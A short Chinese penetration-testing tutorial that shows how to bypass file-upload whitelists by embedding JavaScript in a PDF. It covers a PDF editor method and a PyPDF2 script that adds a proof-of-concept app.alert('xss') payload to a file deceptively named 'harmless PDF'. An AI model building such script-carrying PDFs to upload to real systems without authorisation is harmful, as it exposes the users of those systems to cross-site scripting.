简介
在平时工作渗透测试一个系统时，常常会遇到文件上传功能点，其中大部分会有白名单或者黑名单机制，很难一句话木马上传成功，而PDF则是被忽略的一个点，可以让测试报告更丰富一些。
含有XSS的PDF制作步骤
1. 编辑器生成含有XSS的PDF
下载PDF编辑器
迅捷PDF编辑器 - 多功能的PDF编辑软件
新建一个文档
点击编辑器左下角的文件属性
选择Javascript->添加->输入恶意XSS代码
app.alert('xss');
利用 JavaScript 进行攻击时只能使用 Adobe 所支持的功能
保存后，使用浏览器打开
弹框成功
2.Python生成含有XSS的PDF
若不想PDF带水印，还可以使用Python编写poc制作含有XSS的PDF
安装第三方库：
pip install PyPDF2 -i https://pypi.tuna.tsinghua.edu.cn/simple
python
from PyPDF2 import PdfReader,PdfWriter
new_PDF = PdfWriter()
# 写入JavaScript代码
new_PDF.add_js("app.alert('xss');")
f = open("没有危害的PDF.pdf","wb")
new_PDF.write(f)
f.close() 